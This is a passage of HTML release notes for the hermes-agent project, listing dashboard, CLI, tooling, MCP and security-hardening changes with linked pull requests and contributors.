data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Full TypeScript conversion of the desktop tree (<a href="https://github.com/NousResearch/hermes-agent/pull/57855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57855/hovercard">#57855</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (<a href="https://github.com/NousResearch/hermes-agent/pull/60569" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60569/hovercard">#60569</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63699" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63699/hovercard">#63699</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65361" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65361/hovercard">#65361</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64636" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64636/hovercard">#64636</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>)</li>
<li>Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; <code>browser.headed</code> schema toggle; profile + gateway topology on <code>/api/status</code>; mobile/hosted OpenAI OAuth login (<a href="https://github.com/NousResearch/hermes-agent/pull/60515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60515/hovercard">#60515</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65895" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65895/hovercard">#65895</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61929" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61929/hovercard">#61929</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67046/hovercard">#67046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60537/hovercard">#60537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61330/hovercard">#61330</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><code>hermes serve</code> is a true headless backend (no web UI build/mount) (<a href="https://github.com/NousResearch/hermes-agent/pull/55923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55923/hovercard">#55923</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>🧰 CLI &amp; TUI</h2>
<ul>
<li><code>/subscription</code> + <code>/topup</code> terminal billing (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</li>
<li><strong><code>/model --once</code></strong> — one-turn model override that reverts automatically (<a href="https://github.com/NousResearch/hermes-agent/pull/67113" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67113/hovercard">#67113</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496326587" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/29923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29923/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/29923">#29923</a>)</li>
<li><strong>Stacked slash-skill invocations</strong> — <code>/skill-a /skill-b do XYZ</code> loads both skills in order (Claude Code port), with autocomplete + ghost text (<a href="https://github.com/NousResearch/hermes-agent/pull/57987" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57987/hovercard">#57987</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58763" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58763/hovercard">#58763</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><code>--safe-mode</code> troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; <code>/compact</code> alias + preview flags; pip/Homebrew installs warned unsupported (<a href="https://github.com/NousResearch/hermes-agent/pull/45300" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45300/hovercard">#45300</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60111" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60111/hovercard">#60111</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57992" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57992/hovercard">#57992</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57029/hovercard">#57029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57225/hovercard">#57225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (<a href="https://github.com/NousResearch/hermes-agent/pull/59782" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59782/hovercard">#59782</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62859/hovercard">#62859</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40624/hovercard">#40624</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hermes Console REPL + perf follow-ups; <code>hermes curator usage</code> all-skills view; entry-point plugins surfaced in <code>hermes plugins list</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/57781" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57781/hovercard">#57781</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36727" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36727/hovercard">#36727</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40623" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40623/hovercard">#40623</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System, Skills &amp; MCP</h2>
<ul>
<li>MCP: <code>mcp__server__tool</code> naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable <code>redirect_uri</code>/<code>redirect_host</code> for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (<a href="https://github.com/NousResearch/hermes-agent/pull/52750" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52750/hovercard">#52750</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57416/hovercard">#57416</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66151/hovercard">#66151</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65610" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65610/hovercard">#65610</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65622/hovercard">#65622</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64463" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64463/hovercard">#64463</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Skills: <code>security/unbroker</code> (autonomous data-broker removal) + blind opt-out hardening; <code>unreal-mcp</code> companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; <code>mcp-oauth-remote-gateway</code> optional skill (<a href="https://github.com/NousResearch/hermes-agent/pull/57438" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57438/hovercard">#57438</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57902/hovercard">#57902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65989" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65989/hovercard">#65989</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64715" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64715/hovercard">#64715</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65066" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65066/hovercard">#65066</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65486" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65486/hovercard">#65486</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (<a href="https://github.com/NousResearch/hermes-agent/pull/65923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65923/hovercard">#65923</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67123" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67123/hovercard">#67123</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (<a href="https://github.com/NousResearch/hermes-agent/pull/66333" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66333/hovercard">#66333</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63638/hovercard">#63638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60226/hovercard">#60226</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65698/hovercard">#65698</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63249" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63249/hovercard">#63249</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (<a href="https://github.com/NousResearch/hermes-agent/pull/61791" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61791/hovercard">#61791</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62014/hovercard">#62014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59567" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59567/hovercard">#59567</a>)</li>
<li>mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (<a href="https://github.com/NousResearch/hermes-agent/pull/56943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56943/hovercard">#56943</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60494/hovercard">#60494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (<a href="https://github.com/NousResearch/hermes-agent/pull/57017" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57017/hovercard">#57017</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63627" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63627/hovercard">#63627</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52220/hovercard">#52220</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Vertex: credential/project/region resolution through the profile secret scope; <code>VERTEX_CREDENTIALS_PATH</code>/<code>GOOGLE_APPLICATION_CREDENTIALS</code> stripped from subprocess env (<a href="https://github.com/NousResearch/hermes-agent/pull/56680" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56680/hovercard">#56680</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (<a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58752/hovercard">#58752</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57890" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57890/hovercard">#57890</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Webhook body-cap sweep: explicit <code>client_max_size</code> on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (<a href="https://github.com/NousResearch/hermes-agent/pull/59180" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59180/hovercard">#59180</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58902/hovercard">#58902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58508" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58508/hovercard">#58508</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (<a href="https://github.com/NousResearch/hermes-agent/pull/58501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58501/hovercard">#58501</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58534/hovercard">#58534</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58915" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58915/hovercard">#58915</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58893" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58893/hovercard">#58893</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>computer-use: subprocess env sanitized across all five cua-driver spawn sites (<a href="https://github.com/NousResearch/hermes-agent/pull/58889" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58889/hovercard">#58889</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59165" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59165/hovercard">#59165</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (<a href="https://github.com/NousResearch/hermes-agent/pull/58222" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58222/hovercard">#58222</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60236/hovercard">#60236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49435/hovercard">#49435</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>)</li>
<li>CI: untrusted refs passed through env, not <code>run:</code> interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (<a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60707" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60707/hovercard">#60707</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65186/hovercard">#65186</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (<a href="https://github.com/NousResearch/hermes-agent/pull/59149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59149/hovercard">#59149</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64651" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64651/hovercard">#64651</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66040" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66040/hovercard">#66040</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>)</li>
<li>Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (<a href="https://github.com/NousResearch/hermes-agent/pull/67238" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67238/hovercard">#67238</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59339" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59339/hovercard">#59339</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58178" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58178/hovercard">#58178</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; <code>/new</code> memory extraction moved off the command path (<a href="https://github.com/NousResearch/hermes-agent/pull/58350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58350/hovercard">#58350</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64379/hovercard">#64379</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61139" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61139/hovercard">#61139</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔁 Reverted in this window (for the record)</h2>
<ul>
<li>iron-proxy credential-injection egress firewall (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499336733" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/30179" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30179/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/30179">#30179</a> → reverted in <a href="https://github.com/NousResearch/hermes-agent/pull/58489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58489/hovercard">#58489</a>) — not shipping in this release</li>
<li>dynamic-workflow orchestration skill (landed, then reverted) — not shipping</li>
<li>memory provider-actions extension point (landed, then reverted) — not shipping</li>
